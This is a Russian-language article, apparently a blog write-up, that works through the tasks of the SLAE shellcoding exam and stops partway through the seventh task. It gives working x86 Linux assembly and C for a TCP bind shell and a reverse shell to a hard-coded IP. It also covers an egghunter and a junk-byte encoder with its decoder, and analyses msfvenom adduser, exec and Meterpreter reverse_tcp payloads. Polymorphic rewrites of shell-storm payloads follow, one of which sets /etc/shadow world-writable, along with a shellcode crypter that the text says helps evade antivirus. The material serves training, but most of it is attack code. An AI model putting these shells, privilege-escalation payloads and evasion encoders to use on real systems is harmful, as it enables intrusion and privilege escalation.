SLAE — Security Linux Assembly Expert Exam

от автора

image

Security Linux Assembly Expert — онлайн-курс и экзамен по основам 32-битного языка ассемблера процессоров семейства Intel в Linux-системах в контексте информационной безопасности. Курс будет полезен пентестерам, инженерам по информационной безопасности и всем, кто желает разобраться в основах ассемблера и научиться писать простые шеллкоды. После прохождения курса вы научитесь пользоваться основными системными вызовами Linux’a, писать простые шеллкоды, начнете понимать базовые принципы работы операционной системы на уровне ядра. В данной статье будут рассмотрены задания, необходимые для прохождения экзамена по этому курсу.

По условиям экзамена необходимо выполнить 7 заданий:

  1. Написать TCP Bind Shell
  2. Написать Reverse TCP Shell
  3. Разобраться с техникой egghunter и предоставить пример этой техники
  4. Написать кодировщик кода
  5. Проанализировать 3 шеллкода, сгенерированных msfvenom’ом при помощи GDB/ndisasm/libemu
  6. Выполнить полиморфное преобразование 3 любых шеллкодов и shellstorm’а.
  7. Написать шифровальщик кода


Каждое из заданий необходимо прокомментировать, также желательно предоставить скриншоты процесса работы над ними. Начнем с подготовки.

Подготовка

Автоматизация — наше всё, поэтому прежде чем перейти к заданиям, необходимо описать скрипты, используемые при освоении курса и сдаче экзамена. Они помогут сэкономить время и силы.

nasm32.sh

#!/bin/bash  if [ -z $1 ]; then   echo "Usage ./nasm32 <nasmMainFile> (no extension)"   exit fi  if [ ! -e "$1.asm" ]; then   echo "Error, $1.asm not found."   echo "Note, do not enter file extensions"   exit fi  nasm -f elf $1.asm -o $1.o ld -m elf_i386 -o $1 $1.o

Этот скрипт используется для быстрой компиляции и линковки .asm файлов.

popcode.sh

#!/bin/bash  target=$1  objdump -D -M intel "$target" | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-7 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\x/g' | paste -d '' -s

Этот скрипт будем использовать для вывода на печать кода в hex-формате, причём перед каждым символом будет выведен на печать "\x". Это необходимо для вставки нашего шеллкода в C-файл.

hexopcode.sh

#!/bin/bash  target=$1  objdump -D -M intel "$target" | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-7 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\x/g' | paste -d '' -s | sed -e 's!\\x!!g'

Здесь всё то же самое, что и в скрипте выше, только на печать код выводится без "\x". Необходимо для передачи hex-кода следующему скрипту.

hex2stack.py

#!/usr/bin/python3 # -*- coding: utf-8 -*-  import sys  if __name__ == '__main__': 	if len(sys.argv) != 2: 		print("Enter opcode in hex") 		sys.exit(0)  	string = sys.argv[1]  	reversed = [string[i:i+2] for i in range(0,len(string),2)][::-1]  	l = len(reversed) % 4 	if l: 		print("\tpush 0x" + ^_^quotZquot^_^*(4-l) + "".join(reversed[0:l]))  	for p in range(l, len(reversed[l:]), 4): 		print("\tpush 0x" + "".join(reversed[p:p+4]))

Чтобы было легко работать с кодом, его можно поместить в стек. В стек данные помещаются в обратном порядке при помощи команды push. Скрипт выше преобразует hex-строку для помещения её в стек.

Пример:

$./stack_shell.py 31c0506a68682f626173682f62696e89e35089c25389e1b00bcd80 	push 0x9080cd0b 	push 0xb0e18953 	push 0xc28950e3 	push 0x896e6962 	push 0x2f687361 	push 0x622f6868 	push 0x6a50c031

uscompile.sh

#!/bin/bash  if [ -z $1 ]; then   echo "Usage ./compile <cFile> (no extension)"   exit fi  if [ ! -e "$1.c" ]; then   echo "Error, $1.c not found."   echo "Note, do not enter file extensions"   exit fi  gcc -masm=intel -m32 -ggdb -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 -o $1 $1.c

Данный скрипт компилирует C-файл с отключенной защитой стека. Защиту отключаем в учебных целях.

shellcode.c

#include<stdio.h> #include<string.h>  unsigned char code[] = "";  int main() {         printf("Shellcode Length:  %d\n", strlen(code));         int (*ret)() = (int(*)())code;         ret(); }

Сам C-файл, в который мы помещаем наш шеллкод.

Задания

1. Написать TCP bind shell

Мы будем писать самый простой TCP-bind шелл, поэтому в нашем случае порядок следующий:

  1. Создаём сокет при помощи системного вызова socket(), при создании нам будет отдан дескриптор сокета, который представляет из себя число;
  2. Для созданного сокета настраиваем параметры — протокол, адрес, где он будет «слушать», порт — и выполняем системный вызов bind(), который закрепит наш сокет к указанным параметрам;
  3. Затем выполним вызов listen() — сокет «слушает» входящие соединения;
  4. Просто слушать соединения мало, их необходимо принять, поэтому — accept();
  5. После того, как клиент к нам подсоединился, необходимо перенаправить стандартные дескрипторы ввода, вывода и ошибок клиенту: продублируем их при помощи dup2();
  6. И последнее: вызовем командную оболочку, в которой клиент сможет выполнять команды.

Прежде чем перейти к написанию кода на ассемблере, будет полезно реализовать вышеприведенный пример на С.

#include <sys/socket.h> #include <sys/types.h> #include <stdlib.h> #include <unistd.h> #include <netinet/in.h> #include <stdio.h>  int main(void) {     int clientfd, sockfd;     int port = 1234;     struct sockaddr_in mysockaddr;      // AF_INET - IPv4, SOCK_STREAM - TCP, 0 - most suitable protocol     // AF_INET = 2, SOCK_STREAM = 1     // create socket, save socket file descriptor in sockfd variable     sockfd = socket(AF_INET, SOCK_STREAM, 0);      // fill structure     mysockaddr.sin_family = AF_INET; // can be represented in numeric as 2     mysockaddr.sin_port = htons(port);     //mysockaddr.sin_addr.s_addr = INADDR_ANY;// can be represented in numeric as 0 which means to bind to all interfaces     mysockaddr.sin_addr.s_addr = inet_addr("192.168.0.106");     // size of this array is 16 bytes     //printf("size of mysockaddr: %lu\n", sizeof(mysockaddr));     // executing bind() call     bind(sockfd, (struct sockaddr *) &mysockaddr;, sizeof(mysockaddr));     // listen()     listen(sockfd, 1);     // accept()     clientfd = accept(sockfd, NULL, NULL);     // duplicate standard file descriptors in client file descriptor     dup2(clientfd, 0);     dup2(clientfd, 1);     dup2(clientfd, 2);     // and last: execute /bin/sh. All input and ouput of /bin/sh will translated via TCP connection     char * const argv[] = {"sh",NULL, NULL};     execve("/bin/sh", argv, NULL);     return 0; }

Время перенести наш код на ассемблер. Чтобы понимать, какие аргументы принимает каждый вызов и не только, можно посмотреть руководство по ним: man <вызов>. Иногда у одного имени может быть несколько справочных руководств. Вывести список всех доступных: apropos <вызов>. После чего:
man <номер интересующего нас руководства> <вызов>.

0. Подготавливаем регистры
Нам неизвестны значения, которые находятся в регистрах в начале нашей работы с ними, поэтому обнулим их:

	section .text global _start  _start: 	xor eax, eax 	xor ebx, ebx 	xor esi, esi

1. Создаём сокет
В x86 системных вызовах нет прямого вызова socket(). Все вызовы выполняются косвенно через метод socketcall(). Данный вызов принимает 2 аргумента: номер вызова сокета и указатель на его аргументы. Список возможных вызовов сокета можно посмотреть в файле: /usr/include/linux/net.h

	; creating socket. 3 args 	push esi	; 3rd arg, choose default proto 	push 0x1	; 2nd arg, 1 equal SOCK_STREAM, TCP 	push 0x2	; 1st arg, 2 means Internet family proto 	; calling socket call for socket creating 	mov al, 102	; socketcall 	mov bl, 1	; 1 = socket() 	mov ecx, esp	; pointer to args of socket() 	int 0x80 	; in eax socket file descriptor. Save it 	mov edx, eax

2. Указываем параметры созданного сокета и выполняем bind().
На картинке ниже показано, как нужно помещать параметры сокета в стек.
Пришлось потратить некоторое время, чтобы разобраться, в каком виде помещаются в стек параметры сокета:

image

	; creating sockaddr_in addr struct for bind 	push esi		; address, 0 - all interfaces 	push WORD 0xd204	; port 1234. 	push WORD 2		; AF_INET 	mov ecx, esp		; pointer to sockaddr_in struct 	push 0x16		; size of struct 	push ecx		; pushing pointer to struct 	push edx		; pushing socket descriptor 	; socketcall 	mov al, 102 	mov bl, 2		; bind() 	mov ecx, esp 	int 0x80

Чтобы поменять порт, можно выполнить команду:

$python3 -c "import socket; print(hex(socket.htons(<int:port>)))" 

И если вы хотите указать конкретный адрес, на котором будет слушать наш сокет:

$python3 -c 'import ipaddress; d = hex(int(ipaddress.IPv4Address("<IPv4 address>"))); print("0x"+"".join([d[i:i+2] for i in range(0,len(d),2)][1:][::-1]))'

3. Вызов listen()

	; creating listen 	push 1 	push edx 	; calling socketcall 	mov al, 102 	mov bl, 4		; listen() 	mov ecx, esp 	int 0x80

4. Вызов accept()

	; creating accept() 	push esi 	push esi 	push edx 	; calling socketcall 	mov al, 102 	mov bl, 5		; accept() 	mov ecx, esp 	int 0x80  	mov edx, eax		; saving client file descriptor

5. Дублируем стандартные дескрипторы.

	; dup2 STDIN, STDOUT, STDERR 	xor ecx, ecx 	mov cl, 3 	mov ebx, edx dup:	dec ecx 	mov al, 63 	int 0x80 	jns dup

6. Вызываем командную оболочку

	; execve /bin/sh 	xor eax, eax 	push eax 	push 0x68732f2f 	push 0x6e69622f         mov ebx, esp         push eax         mov edx, esp         push ebx         mov ecx, esp         mov al, 11         int 0x80

Теперь сложим всё вместе

	section .text global _start  _start: 	; clear registers 	xor eax, eax 	xor ebx, ebx 	xor esi, esi 	; creating socket. 3 args 	push esi	; 3rd arg, choose default proto 	push 0x1	; 2nd arg, 1 equal SOCK_STREAM, TCP 	push 0x2	; 1st arg, 2 means Internet family proto 	; calling socket call for socket creating 	mov al, 102	; socketcall 	mov bl, 1	; 1 = socket() 	mov ecx, esp	; pointer to args of socket() 	int 0x80 	; in eax socket file descriptor. Save it 	mov edx, eax  	; creating sockaddr_in addr struct for bind 	push esi		; address, 0 - all interfaces 	push WORD 0xd204	; port 1234. 	push WORD 2		; AF_INET 	mov ecx, esp		; pointer to sockaddr_in struct 	push 0x16		; size of struct 	push ecx		; pushing pointer to struct 	push edx		; pushing socket descriptor 	; socketcall 	mov al, 102		; socketcall() number 	mov bl, 2		; bind() 	mov ecx, esp		; 2nd argument - pointer to args 	int 0x80  	; creating listen 	push 1			; listen for 1 client 	push edx		; clients queue size 	; calling socketcall 	mov al, 102 	mov bl, 4		; listen() 	mov ecx, esp 	int 0x80  	; creating accept() 	push esi		; use default value 	push esi		; use default value 	push edx		; sockfd 	; calling socketcall 	mov al, 102 	mov bl, 5		; accept() 	mov ecx, esp 	int 0x80  	mov edx, eax		; saving client file descriptor  	; dup2 STDIN, STDOUT, STDERR 	xor ecx, ecx		; clear ecx 	mov cl, 3		; number of loops 	mov ebx, edx		; socketfd dup:	dec ecx 	mov al, 63		; number of dup2 syscall() 	int 0x80 	jns dup			; repeat for 1,0  	; execve /bin/bash 	xor eax, eax		; clear eax 	push eax		; string terminator 	push 0x68732f2f		; //bin/sh 	push 0x6e69622f         mov ebx, esp		; 1st arg - address of //bin/sh         push eax		;          mov edx, eax		; last argument is zero         push ebx		; 2nd arg - pointer to all args of command         mov ecx, esp		; pointer to args         mov al, 11		; execve syscall number         int 0x80

Теперь берём опкод полученного шеллкода, переносим его в наш шаблон С-файла, компилируем и запускаем:

image

2. Reverse TCP Shell

Это задание в своей реализации очень похоже на предыдущее, за исключением того, что мы будем принимать входящее соединение. Общий алгоритм:

1. Создаём сокет;
2. Выставляем параметры подключения: протокол, хост, порт;
3. Дублируем файловые дескрипторы;
4. Вызываем командную оболочку.

#include <stdio.h> #include <sys/socket.h> #include <netinet/ip.h> #include <arpa/inet.h> #include <unistd.h>  int main () {     const char* ip = "192.168.0.106";	// place your address here     struct sockaddr_in addr;      addr.sin_family = AF_INET;     addr.sin_port = htons(4444);	// port     inet_aton(ip, &addr;.sin_addr);      int sockfd = socket(AF_INET, SOCK_STREAM, 0);     connect(sockfd, (struct sockaddr *)&addr;, sizeof(addr));      /* duplicating standard file descriptors */     for (int i = 0; i < 3; i++)     {         dup2(sockfd, i);     }      execve("/bin/sh", NULL, NULL);   

Переведем в ассемблер

	section .text global _start  _start: 	; creating socket 	xor eax, eax 	xor esi, esi 	xor ebx, ebx 	push esi 	push 0x1 	push 0x2 	; calling socket call for socket creating 	mov al, 102 	mov bl, 1 	mov ecx, esp 	int 0x80 	mov edx, eax  	; creating sockaddr_in and connect() 	push esi 	push esi 	push 0x6a00a8c0		; IPv4 address to connect 	push WORD 0x5c11	; port 	push WORD 2 	mov ecx, esp 	push 0x16 	push ecx 	push edx 	; socketcall() 	mov al, 102 	mov bl, 3		; connect() 	mov ecx, esp 	int 0x80  	; dup2 STDIN, STDOUT, STDERR 	xor ecx, ecx 	mov cl, 3 	mov ebx, edx dup:	dec ecx 	mov al, 63 	int 0x80 	jns dup  	; execve /bin/sh 	xor eax, eax 	push eax 	push 0x68732f2f 	push 0x6e69622f         mov ebx, esp         push eax         mov edx, esp         push ebx         mov ecx, esp         mov al, 11         int 0x80

Затем:

$nasm32 reverse_tcp_shell

Поменять адрес или порт подключения можно при помощи аналогичных команд (задание 1)
Результат

image

3. Техника egghunter

Техника egghunter заключается в том, чтобы найти в памяти участок, обозначенный «пасхальным яйцом», значение которого нам заранее известно, и передать управление коду, следующему за «яйцом». Эта техника бывает полезна, когда мы не знаем точного адреса расположения нашего шеллкода.

Для демонстрации этого примера:

  1. Положим в стек «мусор»;
  2. Положим в стек наш шеллкод;
  3. Положим в стек «пасхальное яйцо»;
  4. Добавим еще «мусор».

Для генерации «мусора» воспользуемся следующим скриптом:

#!/usr/bin/python3  import random  rdm = bytearray(random.getrandbits(8) for _ in range(96)) for i in range(0,len(rdm),4): 	bts = rdm[i:i+4] 	print("\tpush 0x" + ''.join('{:02x}'.format(x) for x in bts))

Искать мы будем шеллкод:

	; execve_sh global _start  section .text _start:          ; PUSH 0         xor eax, eax         push eax          ; PUSH //bin/sh (8 bytes) 	push 0x68732f2f 	push 0x6e69622f          mov ebx, esp          push eax         mov edx, eax          push ebx         mov ecx, esp          mov al, 11         int 0x80

Этот шеллкод необходимо скомпилировать, взять его опкод и поместить в стек.

В итоге у нас получится:

section .text global _start  _start: 	; trash 	push 0x94047484 	push 0x8c35f24a 	push 0x5a449067 	push 0xf5a651ed 	push 0x7161d058 	push 0x3b7b4e10 	push 0x9f93c06e 	; shellcode execve() /bin/sh 	push 0x9080cd0b 	push 0xb0e18953 	push 0xe28950e3 	push 0x896e6962 	push 0x2f687361 	push 0x622f6868 	push 0x6a50c031 	; egg 	push 0xdeadbeef 	; trash         push 0xd213a92d         push 0x9e3a066b         push 0xeb8cb927         push 0xddbaec55         push 0x43a73283         push 0x89f447de         push 0xacfb220f   	mov ebx, 0xefbeadde	; egg in reverse order         mov esi, esp         mov cl, 200		; change this value for deeper or less searching  find:   lodsb			; read byte from source - esi         cmp eax, ebx		; is it egg?         jz equal		; if so, give control to shellcode 	shl eax, 8		; if not, shift one byte left         loop find		; repeat  	xor eax, eax		; if there is no egg - exit         mov al, 1 	xor ebx, ebx         mov bl, 10         int 0x80  equal: jmp esi			; jmp to shellcode

image

Можно loop find заменить инструкцией jmp find, но это может привести к ошибке программы. Также можно сделать обработчик этого исключения, в общем случае нашего кода достаточно. Иногда может потребоваться найти «пасхальное яйцо», лежащее в другом направлении памяти, тогда нужно поменять значение direction flag’а, а для передачи управления шеллкоду можно использовать jmp esi+offset.

4. Написать свой кодировщик.

В нашем случае кодирование заключается в видоизменении исходного кода шеллкода без применения информации, необходимой для обратной раскодировки, что отличает этот процесс от процесса шифрования. Я решил выполнить это задание, как в курсе, но с небольшим усложнением: между нужными байтами шеллкода находится случайное (от 1 до 5) количество байт мусора. Для генерации закодированного шеллкода я написал следующий скрипт:

#!/usr/bin/python3 # -*- coding: utf-8 -*-  import sys import random  if len(sys.argv) != 2:         print("Enter opcode in hex")         sys.exit(0)  opcode = sys.argv[1] encoded = ""  b1 = bytearray.fromhex(opcode)  # Generates random value from 1 to 5 of 'aa' string for x in b1:         t = 'aa' * random.randint(1,5)         encoded += '%02x' % x + t  print(encoded)

Результат поместим в стек:

$./hex2stack.py $(./encoder.py $(hexopcode execve_sh))

Вывод:

	push 0x909090aa 	push 0xaaaaaaaa 	push 0x80aaaaaa 	push 0xaacdaaaa 	push 0xaaaa0baa 	push 0xaaaaaaaa 	push 0xb0aaaaaa 	push 0xaae1aaaa 	push 0xaaaaaa89 	push 0xaaaaaa53 	push 0xaaaaaac2 	push 0xaa89aaaa 	push 0xaaaa50aa 	push 0xaaaaaaaa 	push 0xe3aaaa89 	push 0xaaaa6eaa 	push 0xaa69aaaa 	push 0xaaaa62aa 	push 0xaaaaaa2f 	push 0xaa68aaaa 	push 0x68aaaaaa 	push 0xaaaa73aa 	push 0xaaaa2faa 	push 0xaa2faaaa 	push 0xaa68aaaa 	push 0x50aaaaaa 	push 0xaaaac0aa 	push 0xaaaaaa31

Обратите внимание на первую часть 0x909090aa. Первый байт 90 справа — это конец нашего закодированного шеллкода. Конечно, можно выбрать любое другое валидное значение для обозначения окончания шеллкода.

Код декодера:

	section .text 	global _start _start: 	; encoded shellcode 	push 0x909090aa 	push 0xaaaaaaaa 	push 0x80aaaaaa 	push 0xaacdaaaa 	push 0xaaaa0baa 	push 0xaaaaaaaa 	push 0xb0aaaaaa 	push 0xaae1aaaa 	push 0xaaaaaa89 	push 0xaaaaaa53 	push 0xaaaaaac2 	push 0xaa89aaaa 	push 0xaaaa50aa 	push 0xaaaaaaaa 	push 0xe3aaaa89 	push 0xaaaa6eaa 	push 0xaa69aaaa 	push 0xaaaa62aa 	push 0xaaaaaa2f 	push 0xaa68aaaa 	push 0x68aaaaaa 	push 0xaaaa73aa 	push 0xaaaa2faa 	push 0xaa2faaaa 	push 0xaa68aaaa 	push 0x50aaaaaa 	push 0xaaaac0aa 	push 0xaaaaaa31  	; prepare registers for decoding 	mov esi, esp 	mov edi, esp 	mov bl, 0xaa  decoder: 	lodsb		; read byte from stack 	cmp al, bl	; check: is it trash byte? 	jz loopy	; if so, repeat 	cmp al, 0x90	; is it end of shellcode? 	jz exec		; if so, go to start of shellcode 	stosb		; if not, place byte of shellcode into stack loopy:	jmp decoder	; repeat  exec:	jmp esp		; give flow control to shellcode

Если шеллкод не имеет nop-инструкций (0x90), такой байт можно выбрать в качестве маркера окончания шеллкода. В других случаях необходимо использовать другое значение.
Результат:

image

5. Анализ шеллкодов, сгенерированных msfvenom’ом при помощи GDB/libemu/ndisasm

В данном разделе будет произведен анализ шеллкодов, полученных известным инструментом — msfvenom.

1. add user
Команда для генерации шеллкода:

msfvenom -a x86 --platform linux -p linux/x86/adduser -f c > adduser.c 

Существует несколько вариантов анализа полученного шеллкода GDB, я решил использовать удобный для меня способ — поместить код в стек и проанализировать.

$ cat adduser.c | grep -Po "\\\x.." | tr -d '\n' | sed -e 's!\\x!!g' ; echo 31c989cb6a4658cd806a055831c9516873737764682f2f7061682f65746389e341b504cd8093e8280000006d65746173706c6f69743a417a2f6449736a3470344952633a303a303a3a2f3a2f62696e2f73680a598b51fc6a0458cd806a0158cd80

$ python3 hex2stack.py 31c989cb6a4658cd806a055831c9516873737764682f2f7061682f65746389e341b504cd8093e8280000006d65746173706c6f69743a417a2f6449736a3470344952633a303a303a3a2f3a2f62696e2f73680a598b51fc6a0458cd806a0158cd80 out: 	push 0x90909080 	push 0xcd58016a 	push 0x80cd5804 	...

Анализировать будем такой файл:

	section .text 	global _start _start: 	push 0x90909080 	push 0xcd58016a 	push 0x80cd5804 	push 0x6afc518b 	push 0x590a6873 	push 0x2f6e6962 	push 0x2f3a2f3a 	push 0x3a303a30 	push 0x3a635249 	push 0x3470346a 	push 0x7349642f 	push 0x7a413a74 	push 0x696f6c70 	push 0x73617465 	push 0x6d000000 	push 0x28e89380 	push 0xcd04b541 	push 0xe3896374 	push 0x652f6861 	push 0x702f2f68 	push 0x64777373 	push 0x6851c931 	push 0x58056a80 	push 0xcd58466a 	push 0xcb89c931 	jmp esp

image

Первое, что выполняет шеллкод — производит вызов setreuid() с параметрами (0,0): у шеллкода должны быть root-права. После открывается файл /etc/passwd. В коде после открытия файла используется инструкция call. Выполняя данную инструкцию, процессор положит следующую за ней команду в стек. В нашем случае за такой командой идёт строка с нашими параметрами пользователя — впоследствии эта строка будет записана в файл. Такой способ позволяет использовать любые данные для записи в файл.

2. exec whoami
С записью в файл разобрались, теперь посмотрим, как реализовано выполнение команд
Генерируем шеллкод:

msfvenom -a x86 --platform linux -p linux/x86/exec CMD="whoami" -f raw> exec_whoami.bin

Для анализа кода выполним:

$sctest -vv -S -s 10000 -G shell.dot < exec_whoami.bin
[emu 0x0x16c8100 debug ] 6A0B                            push byte 0xb ; execve()		 [emu 0x0x16c8100 debug ] 58                              pop eax		 [emu 0x0x16c8100 debug ] 99                              cwd ; in this case - set to 0 due to cwd and small eax [emu 0x0x16c8100 debug ] 52                              push edx		 ; "-c" [emu 0x0x16c8100 debug ] 66682D63                        push word 0x632d	 ; address of "-c" [emu 0x0x16c8100 debug ] 89E7                            mov edi,esp		 ; /bin/sh [emu 0x0x16c8100 debug ] 682F736800                      push dword 0x68732f	 [emu 0x0x16c8100 debug ] 682F62696E                      push dword 0x6e69622f ; 1st arg of execve() [emu 0x0x16c8100 debug ] 89E3                            mov ebx,esp		 ; null [emu 0x0x16c8100 debug ] 52                              push edx		 ; place "whoami" in stack [emu 0x0x16c8100 debug ] E8                              call 0x1		 ; push "-c" [emu 0x0x16c8100 debug ] 57                              push edi		 ; push "/bin/sh" [emu 0x0x16c8100 debug ] 53                              push ebx		 ; 2nd argument of execve()  ; pointer to args [emu 0x0x16c8100 debug ] 89E1                            mov ecx,esp		 ; execute execve() [emu 0x0x16c8100 debug ] CD80                            int 0x80		

image

Для выполнения команды также используется инструкция call, что позволяет легко менять исполняемую команду.

3. Reverse Meterpreter TCP
command to generate payload

msfvenom -a x86 --platform linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.0.102 LPORT=4444 -f raw > meter_revtcp.bin

Then

ndisasm -u meter_revtcp.bin

Code with comments

00000000  6A0A              push byte +0xa 00000002  5E                pop esi			; place 10 in esi 00000003  31DB              xor ebx,ebx			; nullify ebx 00000005  F7E3              mul ebx 00000007  53                push ebx			; push 0 00000008  43                inc ebx			; 1 in ebx 00000009  53                push ebx			; push 1 0000000A  6A02              push byte +0x2		; push 2 0000000C  B066              mov al,0x66			; mov socketcall 0000000E  89E1              mov ecx,esp			; address of argument 00000010  CD80              int 0x80			; calling socketcall() with socket() 00000012  97                xchg eax,edi		; place sockfd in edi 00000013  5B                pop ebx			; in ebx 1 00000014  68C0A80066        push dword 0x6600a8c0	; place IPv4 address connect to 00000019  680200115C        push dword 0x5c110002	; place port and proto family 0000001E  89E1              mov ecx,esp 00000020  6A66              push byte +0x66 00000022  58                pop eax			; socketcall() 00000023  50                push eax 00000024  51                push ecx			; addresss of sockaddr_in structure 00000025  57                push edi			; sockfd 00000026  89E1              mov ecx,esp			; address of arguments 00000028  43                inc ebx 00000029  CD80              int 0x80			; call connect() 0000002B  85C0              test eax,eax		;  0000002D  7919              jns 0x48			; if connect successful - jmp 0000002F  4E                dec esi			; in esi 10 - number of attempts to connect 00000030  743D              jz 0x6f			; if zero attempts left - exit 00000032  68A2000000        push dword 0xa2 00000037  58                pop eax 00000038  6A00              push byte +0x0 0000003A  6A05              push byte +0x5 0000003C  89E3              mov ebx,esp 0000003E  31C9              xor ecx,ecx 00000040  CD80              int 0x80			; wait 5 seconds 00000042  85C0              test eax,eax 00000044  79BD              jns 0x3 00000046  EB27              jmp short 0x6f 00000048  B207              mov dl,0x7			; mov dl 7 - read, write, execute for mprotect() memory area 0000004A  B900100000        mov ecx,0x1000		; 4096 bytes 0000004F  89E3              mov ebx,esp 00000051  C1EB0C            shr ebx,byte 0xc 00000054  C1E30C            shl ebx,byte 0xc		; nullify 12 lowest bits 00000057  B07D              mov al,0x7d			; mprotect syscall 00000059  CD80              int 0x80 0000005B  85C0              test eax,eax 0000005D  7810              js 0x6f			; if no success with mprotect -> exit 0000005F  5B                pop ebx			; if success put sockfd in ebx 00000060  89E1              mov ecx,esp 00000062  99                cdq 00000063  B60C              mov dh,0xc 00000065  B003              mov al,0x3			; read data from socket 00000067  CD80              int 0x80 00000069  85C0              test eax,eax 0000006B  7802              js 0x6f 0000006D  FFE1              jmp ecx			; jmp to 2nd part of shell 0000006F  B801000000        mov eax,0x1 00000074  BB01000000        mov ebx,0x1 00000079  CD80              int 0x80 

Этот код создаёт сокет, пытается соединиться с указанным IP-адресом по заданному порту, создаёт область памяти и пытается произвести чтение второй части шеллкода из сокета и записать в выделенную область памяти. Если установить соединение не удаётся, программа ждёт 5 секунд и повторяет попытку. После нескольких неудачных попыток или в случае других возникших исключений она прекращает свою работу

6. Выполнить полиморфное преобразование 3 шеллкодов с shell-storm’а.

Полиморфное преобразование — это такое преобразование, при котором меняется код шеллкода, а логика сохраняется. Пример:
xor eax, eax обнулит регистры,
sub eax, eax также обнулит регистры.
Разница между этими двумя вариантами будет в производительности: первый выполнится немного быстрее. Полиморфное преобразование меняет сигнатуру шеллкода, что может помочь в сокрытии шеллкода от антивируса.

1. chmod /etc/shadow

	; http://shell-storm.org/shellcode/files/shellcode-608.php 	; Title: linux/x86 setuid(0) + chmod("/etc/shadow", 0666) Shellcode 37 Bytes 	; length - 40 bytes 	section .text  global _start  _start: 	sub ebx, ebx	; replaced 	push 0x17	; replaced 	pop eax		; replaced 	int 0x80 	sub eax, eax	; replaced 	push eax	; on success zero 	push 0x776f6461         push 0x68732f63         push 0x74652f2f 	mov ebx, esp 	mov cl, 0xb6	; replaced 	mov ch, 0x1	; replaced         add al, 15	; replaced         int 0x80         add eax, 1	; replaced         int 0x80

Данный шеллкод вызывает setuid() с параметрами 0,0 (пытается получить root-права) и затем выполняет chmod() для файла /etc/shadow.

image

В некоторых случаях этот шеллкод можно выполнить без обнуления регистров.

 	section .text global _start  _start: 	push 0x17	; replaced 	pop eax		; replaced 	int 0x80 	push eax	; on success zero 	push 0x776f6461         push 0x68732f63         push 0x74652f2f 	mov ebx, esp 	mov cl, 0xb6	; replaced 	mov ch, 0x1	; replaced         add al, 15	; replaced         int 0x80         add eax, 1	; replaced         int 0x80

«Собрав» этот код через asm, а не через С-файл, его можно успешно выполнять.

2. Execve /bin/sh

	; http://shell-storm.org/shellcode/files/shellcode-251.php 	; (Linux/x86) setuid(0) + setgid(0) + execve("/bin/sh", ["/bin/sh", NULL]) 37 bytes 	; length - 45 byte 	section .text global _start _start: 	push 0x17 	mov eax, [esp]	; replaced 	sub ebx, ebx	; replaced 	imul edi, ebx	; replaced 	int 0x80  	push 0x2e 	mov eax, [esp]	; replaced 	push edi 	; replaced 	int 0x80  	sub edx, edx	; replaced 	push 0xb 	pop eax 	push edi	; replaced 	push 0x68732f2f 	push 0x6e69622f 	lea ebx, [esp]	; replaced 	push edi	; replaced 	push edi	; replaced 	lea esp, [ecx]	; replaced 	int 0x80

image

Данный шеллкод уже рассматривался неоднократно в примерах выше. Особых пояснений он не требует.

3. TCP bind shellcode with second stage

	; original: http://shell-storm.org/shellcode/files/shellcode-501.php 	; linux/x86 listens for shellcode on tcp/5555 and jumps to it 83 bytes 	; length 94 	section .text global _start  _start: 	sub eax, eax	; replaced 	imul ebx, eax	; replaced 	imul edx, eax	; replaced  _socket: 	push 0x6 	push 0x1 	push 0x2 	add al, 0x66	; replaced 	add bl, 1	; replaced 	lea ecx, [esp] ; replaced 	int 0x80  _bind: 	mov edi, eax	; placing descriptor 	push edx 	push WORD 0xb315	;/* 5555 */ 	push WORD 2 	lea ecx, [esp]	; replaced 	push 16 	push ecx 	push edi 	xor eax, eax	; replaced 	add al, 0x66	; replaced 	add bl, 1	; replaced 	lea ecx, [esp]	; replaced 	int 0x80  _listen: 	mov bl, 4	; replaced 	push 0x1 	push edi 	add al, 0x66	; replaced 	lea ecx, [esp]	; replaced 	int 0x80  _accept: 	push edx 	push edx 	push edi 	add al, 0x66	; replaced 	mov bl, 5	; replaced 	lea ecx, [esp]	; replaced 	int 0x80 	mov ebx, eax  _read: 	mov al, 0x3 	lea ecx, [esp]	; replaced 	mov dx, 0x7ff 	mov dl, 1	; replaced 	int 0x80 	jmp esp

Данный шеллкод открывает соединение, получает вторую часть шеллкода и исполняет её.

Код второй части

	section .text global _start  _start: 	xor eax, eax 	mov al, 1 	xor ebx, ebx 	mov ebx, 100 	int 0x80

image

Как можно заметить, вторая часть шеллкода выполнилась успешно. Код завершения программы равен 100.

7. Шифровальщик

Несмотря на то, что в курсе шеллкод шифруется при помощи высокоуровневого языка С и вспомогательных библиотек, я решил выполнить данное задание на ассемблере, т.к. курс посвящен именно ассемблеру, несмотря на упрощение алгоритма шифрования.

crypter.py

#!/usr/bin/python # -*- coding: utf-8 -*-  import sys import random  if len(sys.argv) != 2: 	print("Enter shellcode in hex") 	sys.exit(0)  shellcode = sys.argv[1] plain_shellcode = bytearray.fromhex(shellcode)  # Generating key key_length = len(plain_shellcode) r = ''.join(chr(random.randint(0,255)) for _ in range(key_length)) key = bytearray(r.encode())  encrypted_shellcode = "" plain_key = ""  for b in range(len(plain_shellcode)): 	enc_b = (plain_shellcode[b] + key[b]) & 255 	encrypted_shellcode += '%02x' % enc_b 	plain_key += '0x'+ '%02x' % key[b] + ','  print('*'*150) print(encrypted_shellcode) print('*'*150) print(plain_key) print('*'*150) print(key_length)

Сначала создадим «скелет»:

	section .text global _start  _start: 	; push encrypted shellcode 	<PUSH ENCRYPTED SHELLCODE>  	jmp getdata next:	pop ebx  	mov esi, esp 	mov edi, esp 	; place key length 	mov ecx, <KEY LENGTH>  decrypt: 	lodsb 	sub al, byte [ebx] 	inc ebx 	stosb 	loop decrypt  	jmp esp 	; exit 	xor eax, eax 	mov al, 1 	xor ebx, ebx 	int 0x80   getdata: call next 	; Place key on next line 	key db <CIPHER KEY>

Для данного кода необходимо 3 вещи: push-инструкции с закодированным шеллкодом, длина ключа и сам ключ шифрования. Зашифруем TCP bind shell шеллкод. Выведем на печать опкод:

